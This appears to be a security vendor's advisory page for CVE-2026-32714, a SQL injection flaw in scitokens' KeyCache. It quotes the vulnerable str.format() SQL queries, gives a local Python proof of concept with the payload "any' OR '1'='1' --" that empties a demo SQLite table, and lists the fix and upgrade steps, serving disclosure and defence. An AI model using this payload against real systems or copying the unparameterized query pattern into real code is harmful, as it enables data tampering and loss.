CVE-2026-32714 is a critical-severity (CVSS 9.8) SQL Injection vulnerability in scitokens. A fix is available for scitokens — see the affected versions and patch details below.
SciTokens vulnerable to SQL Injection in KeyCache
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32714.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32714 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
scitokensReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.
Ran the POC below locally.
Details
File: src/scitokens/utils/keycache.py
Vulnerable Code Snippets
1. In addkeyinfo (around line 74):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
2. In _addkeyinfo (around lines 89 and 94):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
keydata=json.dumps(keydata), next_update=time.time()+next_update))
3. In _delete_cache_entry (around line 128):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
key_id))
4. In _add_negative_cache_entry (around lines 148 and 152):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
keydata=keydata, next_update=time.time()+cache_retry_interval))
5. In getkeyinfo (around lines 193 and 198):
key_query = ("SELECT * FROM keycache WHERE "
"issuer = '{issuer}'")
# ...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))
PoC
import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
def poc_sql_injection():
print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.
# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)
conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")
# MALICIOUS INPUT
# The original code was:
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"
print(f"Simulating injection with issuer: {malicious_issuer}")
# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")
curs.execute(query)
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")
if count == 0:
print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
conn.close()
os.remove(db_path)
if __name__ == "__main__":
poc_sql_injection()
Impact
An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:
- Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
- Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
- Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using
ATTACH DATABASEto write a malicious file).
MITIGATION AND WORKAROUNDS
Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | scitokens | all versions | 1.9.6pip install --upgrade 'scitokens==1.9.6' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scitokens, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update scitokens to 1.9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32714 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32714 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32714. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32714 in your dependencies?
O3 Security finds CVE-2026-32714 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.